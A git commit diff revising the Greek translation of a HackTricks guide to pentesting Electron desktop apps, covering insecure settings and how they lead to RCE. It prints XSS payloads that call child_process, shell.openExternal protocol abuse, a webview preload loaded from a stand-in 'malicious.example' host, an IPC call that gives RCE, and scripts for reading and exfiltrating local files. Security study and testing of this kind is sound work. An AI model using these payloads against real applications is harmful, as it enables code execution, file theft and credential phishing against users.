mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/electron-des
This commit is contained in:
parent
679d78fae2
commit
fa5633c7b5
@ -4,14 +4,14 @@
|
||||
|
||||
## Εισαγωγή
|
||||
|
||||
Το Electron συνδυάζει ένα τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και του λείπουν κάποιοι μηχανισμοί ασφαλείας των σύγχρονων περιηγητών.
|
||||
Ο Electron συνδυάζει ένα τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και στερείται ορισμένων μηχανισμών ασφάλειας των σύγχρονων περιηγητών.
|
||||
|
||||
Συνήθως μπορεί να βρείτε τον κώδικα της εφαρμογής electron μέσα σε ένα αρχείο `.asar`. Για να αποκτήσετε τον κώδικα, πρέπει να το εξάγετε:
|
||||
Συνήθως μπορεί να βρείτε τον κώδικα μιας εφαρμογής Electron μέσα σε ένα αρχείο `.asar`. Για να αποκτήσετε τον κώδικα, πρέπει να το εξάγετε:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Στον πηγαίο κώδικα μιας εφαρμογής Electron, μέσα στο `packet.json`, μπορείτε να βρείτε δηλωμένο το αρχείο `main.js` όπου έχουν οριστεί οι ρυθμίσεις ασφάλειας.
|
||||
Στον πηγαίο κώδικα μιας Electron εφαρμογής, μέσα στο `packet.json`, μπορείτε να βρείτε καθορισμένο το αρχείο `main.js` όπου ορίζονται οι ρυθμίσεις ασφαλείας.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
@ -19,12 +19,12 @@ npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Το Electron έχει 2 τύπους διεργασιών:
|
||||
|
||||
- Main Process (έχει πλήρη πρόσβαση στο NodeJS)
|
||||
- Renderer Process (θα πρέπει να έχει περιορισμένη πρόσβαση στο NodeJS για λόγους ασφάλειας)
|
||||
- Κύρια Διεργασία (έχει πλήρη πρόσβαση στο NodeJS)
|
||||
- Διεργασία Renderer (θα πρέπει να έχει περιορισμένη πρόσβαση στο NodeJS για λόγους ασφάλειας)
|
||||
|
||||
.png>)
|
||||
|
||||
Μια **renderer process** θα είναι ένα παράθυρο browser που φορτώνει ένα αρχείο:
|
||||
Μια **Διεργασία Renderer** θα είναι ένα παράθυρο του προγράμματος περιήγησης που φορτώνει ένα αρχείο:
|
||||
```javascript
|
||||
const { BrowserWindow } = require("electron")
|
||||
let win = new BrowserWindow()
|
||||
@ -32,20 +32,20 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Οι ρυθμίσεις της **διαδικασίας renderer** μπορούν να **διαμορφωθούν** στη **διαδικασία main** μέσα στο αρχείο main.js. Μερικές από τις ρυθμίσεις θα **εμποδίσουν την εφαρμογή Electron να αποκτήσει RCE** ή άλλες ευπάθειες εάν οι **ρυθμίσεις είναι σωστά διαμορφωμένες**.
|
||||
Οι ρυθμίσεις της **renderer process** μπορούν να **διαμορφωθούν** στην **main process** μέσα στο αρχείο main.js. Κάποιες από τις ρυθμίσεις θα **αποτρέψουν την Electron application να αποκτήσει RCE** ή άλλες ευπάθειες εάν οι **ρυθμίσεις είναι σωστά διαμορφωμένες**.
|
||||
|
||||
Η εφαρμογή Electron **θα μπορούσε να έχει πρόσβαση στη συσκευή** μέσω Node apis αν και μπορεί να διαμορφωθεί ώστε να το αποτρέψει:
|
||||
Η electron application **θα μπορούσε να αποκτήσει πρόσβαση στη συσκευή** μέσω των Node apis, παρόλο που μπορεί να διαμορφωθεί για να το αποτρέψει:
|
||||
|
||||
- **`nodeIntegration`** - είναι `off` από προεπιλογή. Αν είναι on, επιτρέπει την πρόσβαση σε λειτουργίες του Node από τη διαδικασία renderer.
|
||||
- **`contextIsolation`** - είναι `on` από προεπιλογή. Αν είναι off, οι διεργασίες main και renderer δεν είναι απομονωμένες.
|
||||
- **`preload`** - κενό από προεπιλογή.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - είναι off από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS.
|
||||
- Node Integration σε Workers
|
||||
- **`nodeIntegrationInSubframes`**- είναι `off` από προεπιλογή.
|
||||
- Εάν **`nodeIntegration`** είναι **enabled**, αυτό θα επέτρεπε τη χρήση των **Node.js APIs** σε σελίδες web που είναι **φορτωμένες σε iframes** μέσα σε μια εφαρμογή Electron.
|
||||
- Εάν **`nodeIntegration`** είναι **disabled**, τότε τα preloads θα φορτωθούν στο iframe
|
||||
- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
|
||||
- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
|
||||
- **`preload`** - empty by default.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`**- is `off` by default.
|
||||
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
|
||||
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
|
||||
|
||||
Παράδειγμα διαμόρφωσης:
|
||||
Example of configuration:
|
||||
```javascript
|
||||
const mainWindowOptions = {
|
||||
title: "Discord",
|
||||
@ -95,15 +95,15 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
||||
src="x"
|
||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Καταγραφή κυκλοφορίας
|
||||
### Καταγραφή κίνησης
|
||||
|
||||
Τροποποιήστε τη διαμόρφωση start-main και προσθέστε τη χρήση ενός proxy όπως:
|
||||
Τροποποιήστε τη ρύθμιση start-main και προσθέστε τη χρήση ενός proxy όπως:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
Εάν μπορείτε να εκτελέσετε τοπικά ένα Electron App, είναι πιθανό να το αναγκάσετε να εκτελέσει αυθαίρετο javascript κώδικα. Δείτε πώς στο:
|
||||
Αν μπορείτε να εκτελέσετε τοπικά μια Electron App, είναι πιθανό να την κάνετε να εκτελέσει αυθαίρετο javascript code. Δείτε πώς στο:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -112,7 +112,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Εάν το **nodeIntegration** είναι ρυθμισμένο σε **on**, το JavaScript μιας ιστοσελίδας μπορεί εύκολα να χρησιμοποιήσει δυνατότητες του Node.js απλώς καλώντας το `require()`. Για παράδειγμα, ο τρόπος για να εκτελέσετε την εφαρμογή calc στα Windows είναι:
|
||||
Εάν το **nodeIntegration** είναι ρυθμισμένο σε **on**, το JavaScript μιας web σελίδας μπορεί να χρησιμοποιήσει δυνατότητες του Node.js εύκολα απλά καλώντας το `require()`. Για παράδειγμα, ο τρόπος για να εκτελέσετε την εφαρμογή calc στα Windows είναι:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Το script που υποδεικνύεται σε αυτή τη ρύθμιση είναι **φορτωμένο πριν από άλλα scripts στον renderer**, οπότε έχει **απεριόριστη πρόσβαση στα Node APIs**:
|
||||
Το script που υποδεικνύεται σε αυτή τη ρύθμιση είναι l**oaded before other scripts in the renderer**, οπότε έχει **unlimited access to Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -133,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
Συνεπώς, το script μπορεί να εξάγει τα node-features σε pages:
|
||||
Επομένως, το script μπορεί να εξάγει node-features σε σελίδες:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -149,20 +149,20 @@ runCalc()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
> [!NOTE] > **Αν το `contextIsolation` είναι ενεργοποιημένο, αυτό δεν θα λειτουργήσει**
|
||||
> [!NOTE] > **If `contextIsolation` is on, this won't work**
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
Το _**contextIsolation**_ εισάγει τους **διαχωρισμένους χώρους εκτέλεσης μεταξύ των scripts της σελίδας και του εσωτερικού JavaScript κώδικα του Electron**, ώστε η εκτέλεση JavaScript του κάθε κομματιού κώδικα να μην επηρεάζει το άλλο. Αυτό είναι ένα απαραίτητο χαρακτηριστικό για να εξαλειφθεί η πιθανότητα RCE.
|
||||
Το _**contextIsolation**_ εισάγει τα **ξεχωριστά contexts ανάμεσα στα scripts της σελίδας web και στον εσωτερικό JavaScript κώδικα του Electron**, έτσι ώστε η εκτέλεση JavaScript του κάθε κώδικα να μην επηρεάζει τον άλλο. Αυτή είναι μια απαραίτητη λειτουργία για να εξαλειφθεί η πιθανότητα RCE.
|
||||
|
||||
Αν οι χώροι δεν είναι απομονωμένοι, ένας επιτιθέμενος μπορεί:
|
||||
Αν τα contexts δεν είναι απομονωμένα, ένας επιτιθέμενος μπορεί:
|
||||
|
||||
1. Να εκτελέσει **arbitrary JavaScript in renderer** (XSS ή πλοήγηση σε εξωτερικούς ιστότοπους)
|
||||
2. Να **overwrite the built-in method** που χρησιμοποιείται στο preload ή στον εσωτερικό κώδικα του Electron για να πάρει τον έλεγχο μιας λειτουργίας
|
||||
3. Να **trigger** τη χρήση της **overwritten function**
|
||||
1. Εκτελέσει **αυθαίρετο JavaScript στον renderer** (XSS ή πλοήγηση σε εξωτερικούς ιστότοπους)
|
||||
2. **Αντικαταστήσει μια built-in μέθοδο** που χρησιμοποιείται σε preload ή στον εσωτερικό κώδικα του Electron για να αποκτήσει έλεγχο
|
||||
3. **Προκαλέσει** τη χρήση της **αντικαταστημένης συνάρτησης**
|
||||
4. RCE?
|
||||
|
||||
Υπάρχουν 2 σημεία όπου built-in μέθοδοι μπορούν να υπεργραφούν: στο preload code ή στον εσωτερικό κώδικα του Electron:
|
||||
Υπάρχουν 2 σημεία όπου ενσωματωμένες μέθοδοι μπορούν να αντικατασταθούν: Στον preload κώδικα ή στον εσωτερικό κώδικα του Electron:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -181,34 +181,34 @@ electron-contextisolation-rce-via-ipc.md
|
||||
|
||||
### Bypass click event
|
||||
|
||||
Αν εφαρμόζονται περιορισμοί όταν κάνεις κλικ σε ένα σύνδεσμο, ίσως μπορέσεις να τους παρακάμψεις **κάνoντας a middle click** αντί για το συνηθισμένο left click
|
||||
Εάν υπάρχουν περιορισμοί όταν κάνεις κλικ σε έναν σύνδεσμο, μπορεί να καταφέρεις να τους παρακάμψεις **κάνoντας middle click** αντί για το κανονικό left click
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE via shell.openExternal
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με αυτά τα παραδείγματα, δείτε [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) και [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
Για περισσότερες πληροφορίες σχετικά με αυτά τα παραδείγματα δείτε [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) και [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Κατά την ανάπτυξη μιας Electron desktop εφαρμογής, η σωστή ρύθμιση των `nodeIntegration` και `contextIsolation` είναι κρίσιμη. Έχει διαπιστωθεί ότι η **client-side remote code execution (RCE)** που στοχεύει preload scripts ή το native code του Electron από τη main process αποτρέπεται ουσιαστικά με αυτές τις ρυθμίσεις.
|
||||
Κατά την ανάπτυξη μιας Electron desktop εφαρμογής, η σωστή ρύθμιση των `nodeIntegration` και `contextIsolation` είναι κρίσιμη. Έχει διαπιστωθεί ότι η **client-side remote code execution (RCE)** που στοχεύει preload scripts ή Electron's native code από τη main process αποτρέπεται αποτελεσματικά όταν αυτές οι ρυθμίσεις είναι ενεργές.
|
||||
|
||||
Όταν ένας χρήστης αλληλεπιδρά με συνδέσμους ή ανοίγει νέα παράθυρα, ενεργοποιούνται συγκεκριμένοι event listeners, οι οποίοι είναι κρίσιμοι για την ασφάλεια και τη λειτουργικότητα της εφαρμογής:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Αυτοί οι listeners **υπερκαθορίζονται από την επιτραπέζια εφαρμογή** για να υλοποιήσει τη δική της **επιχειρηματική λογική**. Η εφαρμογή αξιολογεί εάν ένας πλοηγημένος σύνδεσμος πρέπει να ανοιχτεί εσωτερικά ή σε εξωτερικό πρόγραμμα περιήγησης. Αυτή η απόφαση συνήθως λαμβάνεται μέσω μιας συνάρτησης, `openInternally`. Εάν αυτή η συνάρτηση επιστρέψει `false`, σημαίνει ότι ο σύνδεσμος πρέπει να ανοιχτεί εξωτερικά, χρησιμοποιώντας τη συνάρτηση `shell.openExternal`.
|
||||
Αυτοί οι listeners είναι **υπερκαθορίζονται από την desktop εφαρμογή** για να υλοποιήσει τη δική της **επιχειρηματική λογική**. Η εφαρμογή αξιολογεί αν ένας πλοηγημένος σύνδεσμος πρέπει να ανοιχθεί εσωτερικά ή σε εξωτερικό web browser. Η απόφαση αυτή συνήθως λαμβάνεται μέσω μιας συνάρτησης, `openInternally`. Αν αυτή η συνάρτηση επιστρέψει `false`, σημαίνει ότι ο σύνδεσμος πρέπει να ανοίξει εξωτερικά, χρησιμοποιώντας τη συνάρτηση `shell.openExternal`.
|
||||
|
||||
**Εδώ είναι ένα απλοποιημένο pseudocode:**
|
||||
**Εδώ είναι ένας απλουστευμένος ψευδοκώδικας:**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Οι βέλτιστες πρακτικές ασφάλειας του Electron JS συμβουλεύουν να μην γίνεται αποδοχή μη αξιόπιστου περιεχομένου μέσω της `openExternal` συνάρτησης, καθώς αυτό μπορεί να οδηγήσει σε RCE μέσω διάφορων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να προκαλέσουν RCE. Για λεπτομερή παραδείγματα και περαιτέρω επεξήγηση πάνω στο θέμα, μπορείτε να αναφερθείτε σε [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), το οποίο περιλαμβάνει Windows πρωτόκολλα παραδειγμάτων ικανά να εκμεταλλευτούν αυτή την ευπάθεια.
|
||||
Οι βέλτιστες πρακτικές ασφαλείας για το Electron JS συνιστούν να μην γίνεται αποδοχή μη αξιόπιστου περιεχομένου με τη συνάρτηση `openExternal`, καθώς αυτό μπορεί να οδηγήσει σε RCE μέσω διαφόρων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να προκαλέσουν RCE. Για λεπτομερή παραδείγματα και περαιτέρω επεξήγηση πάνω στο θέμα αυτό, ανατρέξτε σε [αυτόν τον πόρο](https://positive.security/blog/url-open-rce#windows-10-19042), ο οποίος περιλαμβάνει παραδείγματα πρωτοκόλλων των Windows ικανά να εκμεταλλευτούν αυτή την ευπάθεια.
|
||||
|
||||
Σε macos, η `openExternal` συνάρτηση μπορεί να εκμεταλλευτεί για να εκτελέσει αυθαίρετες εντολές, όπως στο `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
Στο macos, η συνάρτηση `openExternal` μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών, όπως στο `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Παραδείγματα εκμεταλλεύσεων Windows πρωτοκόλλων περιλαμβάνουν:**
|
||||
**Παραδείγματα εκμεταλλεύσεων πρωτοκόλλων των Windows περιλαμβάνουν:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -232,13 +232,13 @@ window.open(
|
||||
|
||||
Αυτό το vuln μπορεί να βρεθεί στο **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
Το **webviewTag** είναι ένα **απαρχαιωμένο χαρακτηριστικό** που επιτρέπει τη χρήση του **NodeJS** στη **renderer process**, το οποίο πρέπει να απενεργοποιηθεί καθώς επιτρέπει τη φόρτωση ενός script μέσα στο preload context όπως:
|
||||
Το **webviewTag** είναι ένα **deprecated feature** που επιτρέπει τη χρήση του **NodeJS** στη **renderer process**, οπότε θα πρέπει να απενεργοποιηθεί καθώς επιτρέπει το φόρτωμα ενός script μέσα στο preload context όπως:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Επομένως, ένας επιτιθέμενος που καταφέρνει να φορτώσει μια αυθαίρετη σελίδα θα μπορούσε να χρησιμοποιήσει αυτό το tag για να **load an arbitrary preload script**.
|
||||
Συνεπώς, ένας επιτιθέμενος που καταφέρνει να φορτώσει μια αυθαίρετη σελίδα θα μπορούσε να χρησιμοποιήσει αυτό το tag για να **φορτώσει ένα αυθαίρετο preload script**.
|
||||
|
||||
Αυτό το preload script στη συνέχεια εκμεταλλεύτηκε για να καλέσει μια **vulnerable IPC service (`skype-new-window`)** η οποία καλούσε **`shell.openExternal`** για να αποκτήσει RCE:
|
||||
Αυτό το preload script καταχρήστηκε τότε για να καλέσει μια **vulnerable IPC service (`skype-new-window`)** η οποία καλούσε **`shell.openExternal`** για να αποκτήσει RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## Ανάγνωση Εσωτερικών Αρχείων: XSS + contextIsolation
|
||||
|
||||
**Η απενεργοποίηση του `contextIsolation` επιτρέπει τη χρήση των tags `<webview>`**, παρόμοια με `<iframe>`, για την ανάγνωση και exfiltrating τοπικών αρχείων. Ένα παράδειγμα δείχνει πώς να εκμεταλλευτείς αυτήν την ευπάθεια για να διαβάσεις τα περιεχόμενα εσωτερικών αρχείων:
|
||||
**Η απενεργοποίηση του `contextIsolation` επιτρέπει τη χρήση των tags `<webview>`, παρόμοια με `<iframe>`, για ανάγνωση και exfiltrating τοπικών αρχείων.** Ένα παράδειγμα που παρέχεται δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να διαβάσετε τα περιεχόμενα εσωτερικών αρχείων:
|
||||
|
||||
.png>)
|
||||
|
||||
Επιπλέον, παρουσιάζεται άλλη μέθοδος για **ανάγνωση εσωτερικού αρχείου**, αναδεικνύοντας μια κρίσιμη ευπάθεια ανάγνωσης τοπικού αρχείου σε μια Electron desktop app. Αυτό περιλαμβάνει την έγχυση ενός script για να εκμεταλλευτεί την εφαρμογή και exfiltrate δεδομένα:
|
||||
Επιπλέον, παρουσιάζεται άλλη μέθοδος για **ανάγνωση ενός εσωτερικού αρχείου**, που αναδεικνύει μια κρίσιμη ευπάθεια ανάγνωσης τοπικών αρχείων σε ένα Electron desktop app. Αυτή περιλαμβάνει την έγχυση ενός script για την εκμετάλλευση της εφαρμογής και exfiltrate data:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -271,23 +271,23 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + παλιό chromium**
|
||||
## **RCE: XSS + Παλιό Chromium**
|
||||
|
||||
Εάν το **chromium** που χρησιμοποιείται από την εφαρμογή είναι **παλιό** και υπάρχουν **γνωστές** **ευπάθειες**, μπορεί να είναι δυνατό να το **εκμεταλλευτείτε και να αποκτήσετε RCE μέσω XSS**.\
|
||||
Εάν το **chromium** που χρησιμοποιείται από την εφαρμογή είναι **παλιό** και υπάρχουν **γνωστές** **vulnerabilities** σε αυτό, μπορεί να είναι δυνατό να **exploit it and obtain RCE through a XSS**.\
|
||||
Μπορείτε να δείτε ένα παράδειγμα σε αυτό το **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing μέσω bypass του εσωτερικού URL regex**
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
Υποθέτοντας ότι βρήκατε ένα XSS αλλά **δεν μπορείτε να ενεργοποιήσετε RCE ή να κλέψετε εσωτερικά αρχεία**, μπορείτε να προσπαθήσετε να το χρησιμοποιήσετε για να **αποσπάσετε διαπιστευτήρια μέσω phishing**.
|
||||
Υποθέτοντας ότι βρήκατε ένα XSS αλλά **δεν μπορείτε να trigger RCE ή να steal internal files**, μπορείτε να προσπαθήσετε να το χρησιμοποιήσετε για να **steal credentials via phishing**.
|
||||
|
||||
Καταρχάς πρέπει να γνωρίζετε τι συμβαίνει όταν προσπαθείτε να ανοίξετε ένα νέο URL, ελέγχοντας τον JS κώδικα στο front-end:
|
||||
Πρώτα απ' όλα πρέπει να ξέρετε τι συμβαίνει όταν προσπαθείτε να ανοίξετε ένα νέο URL, εξετάζοντας τον JS κώδικα στο front-end:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Η κλήση στο **`openInternally`** θα αποφασίσει αν το **link** θα **ανοίξει** στο **παράθυρο επιφάνειας εργασίας** καθώς είναι ένα link που ανήκει στην πλατφόρμα, **ή** αν θα ανοίξει στο **πρόγραμμα περιήγησης ως πόρος τρίτου μέρους**.
|
||||
Η κλήση στη **`openInternally`** θα αποφασίσει εάν το **link** θα **opened** στο **desktop window**, καθώς είναι link που ανήκει στην πλατφόρμα, **or** αν θα ανοίξει στον **browser as a 3rd party resource**.
|
||||
|
||||
Σε περίπτωση που το **regex** που χρησιμοποιείται από τη συνάρτηση είναι **ευάλωτο σε παρακάμψεις** (για παράδειγμα **μη διαφυγής των τελειών των υποτομέων**) ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί το XSS για να **ανοίξει ένα νέο παράθυρο το οποίο** θα βρισκόταν στην υποδομή του επιτιθέμενου **ζητώντας διαπιστευτήρια** από τον χρήστη:
|
||||
Σε περίπτωση που το **regex** που χρησιμοποιεί η συνάρτηση είναι **vulnerable to bypasses** (για παράδειγμα **not escaping the dots of subdomains**) ένας attacker θα μπορούσε να εκμεταλλευτεί το XSS για να **open a new window which** θα βρίσκεται στην υποδομή του attacker **asking for credentials** από τον χρήστη:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -295,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
```
|
||||
## `file://` Πρωτόκολλο
|
||||
|
||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) σελίδες που τρέχουν σε **`file://`** έχουν μονομερή πρόσβαση σε κάθε αρχείο στο μηχάνημά σας, πράγμα που σημαίνει ότι **XSS issues can be used to load arbitrary files from the users machine**. Η χρήση **προσαρμοσμένου πρωτοκόλλου** αποτρέπει προβλήματα όπως αυτό, καθώς μπορείτε να περιορίσετε το πρωτόκολλο ώστε να εξυπηρετεί μόνο ένα συγκεκριμένο σύνολο αρχείων.
|
||||
Όπως αναφέρεται στο [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) οι σελίδες που τρέχουν σε **`file://`** έχουν μονομερή πρόσβαση σε κάθε αρχείο στον υπολογιστή σας, πράγμα που σημαίνει ότι προβλήματα **XSS μπορούν να χρησιμοποιηθούν για να φορτώσουν αυθαίρετα αρχεία** από τον υπολογιστή του χρήστη. Η χρήση ενός **προσαρμοσμένου πρωτοκόλλου** αποτρέπει τέτοια προβλήματα, αφού μπορείτε να περιορίσετε το πρωτόκολλο ώστε να εξυπηρετεί μόνο ένα συγκεκριμένο σύνολο αρχείων.
|
||||
|
||||
## Remote module
|
||||
|
||||
The Electron Remote module επιτρέπει τις **renderer processes to access main process APIs**, διευκολύνοντας την επικοινωνία εντός μιας εφαρμογής Electron. Ωστόσο, η ενεργοποίηση αυτού του module εισάγει σημαντικούς κινδύνους ασφάλειας. Αυξάνει την επιφάνεια επίθεσης της εφαρμογής, καθιστώντας την πιο επιρρεπή σε ευπάθειες όπως επιθέσεις cross-site scripting (XSS).
|
||||
Το Electron Remote module επιτρέπει στα **renderer processes to access main process APIs**, διευκολύνοντας την επικοινωνία μέσα σε μια εφαρμογή Electron. Ωστόσο, η ενεργοποίηση αυτού του module εισάγει σημαντικούς κινδύνους ασφαλείας. Αυξάνει την επιφάνεια επίθεσης της εφαρμογής, καθιστώντας την πιο επιρρεπή σε ευπάθειες όπως το cross-site scripting (XSS).
|
||||
|
||||
> [!TIP]
|
||||
> Παρότι το **remote** module εκθέτει κάποια APIs από το main προς τις renderer processes, δεν είναι απλό να επιτευχθεί RCE μόνο με την κατάχρηση των components. Ωστόσο, τα components μπορεί να αποκαλύπτουν ευαίσθητες πληροφορίες.
|
||||
> Παρόλο που το **remote** module εκθέτει ορισμένα APIs από το main στα renderer processes, δεν είναι απλό να προκύψει RCE απλώς από την κατάχρηση των components. Ωστόσο, τα components μπορεί να εκθέτουν ευαίσθητες πληροφορίες.
|
||||
|
||||
> [!WARNING]
|
||||
> Πολλές εφαρμογές που εξακολουθούν να χρησιμοποιούν το remote module το κάνουν με τρόπο που απαιτούν το **NodeIntegration να είναι ενεργοποιημένο** στη renderer process, κάτι που αποτελεί **τεράστιο κίνδυνο ασφάλειας**.
|
||||
> Πολλές εφαρμογές που εξακολουθούν να χρησιμοποιούν το remote module το κάνουν με τρόπο που **απαιτεί την ενεργοποίηση του NodeIntegration** στη renderer process, κάτι που αποτελεί **τεράστιο κίνδυνο για την ασφάλεια**.
|
||||
|
||||
Από το Electron 14 και μετά, το `remote` module μπορεί να είναι ενεργοποιημένο με διάφορους τρόπους, αλλά για λόγους ασφάλειας και απόδοσης **συνιστάται να μην το χρησιμοποιείτε**.
|
||||
Από το Electron 14, το `remote` module μπορεί να είναι ενεργοποιημένο με διάφορους τρόπους· λόγω θεμάτων ασφάλειας και απόδοσης, είναι **συνιστώμενο να μην το χρησιμοποιείτε**.
|
||||
|
||||
Για να το ενεργοποιήσετε, πρέπει πρώτα να **ενεργοποιηθεί στο main process**:
|
||||
Για να το ενεργοποιήσετε, πρώτα χρειάζεται να **ενεργοποιηθεί στο main process**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Στη συνέχεια, η διεργασία renderer μπορεί να εισάγει αντικείμενα από το module που θέλει:
|
||||
Στη συνέχεια, η renderer process μπορεί να import αντικείμενα από το module ως εξής:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
Το **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** αναφέρει κάποιες ενδιαφέρουσες **συναρτήσεις** που εκτίθενται από το αντικείμενο **`app`** του remote module:
|
||||
Το **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** αναφέρει μερικές ενδιαφέρουσες **λειτουργίες** που εκτίθενται από το αντικείμενο **`app`** του απομακρυσμένου module:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Επανακινεί** την εφαρμογή τερματίζοντας την τρέχουσα παρουσία και εκκινώντας μία καινούρια. Χρήσιμο για **ενημερώσεις εφαρμογής** ή σημαντικές **αλλαγές κατάστασης**.
|
||||
- **Επανεκκινεί** την εφαρμογή **τερματίζοντας** την τρέχουσα διεργασία και **εκκινώντας** μία νέα. Χρήσιμο για **ενημερώσεις εφαρμογής** ή σημαντικές **αλλαγές κατάστασης**.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Ορίζει** ή **δημιουργεί** έναν φάκελο για αποθήκευση των **logs της εφαρμογής**. Τα logs μπορούν να **ανακτηθούν** ή να **τροποποιηθούν** χρησιμοποιώντας **`app.getPath()`** ή **`app.setPath(pathName, newPath)`**.
|
||||
- **Ορίζει** ή **δημιουργεί** έναν φάκελο για την αποθήκευση των **αρχείων καταγραφής της εφαρμογής**. Τα αρχεία καταγραφής μπορούν να **ανακτηθούν** ή να **τροποποιηθούν** χρησιμοποιώντας **`app.getPath()`** ή **`app.setPath(pathName, newPath)`**.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
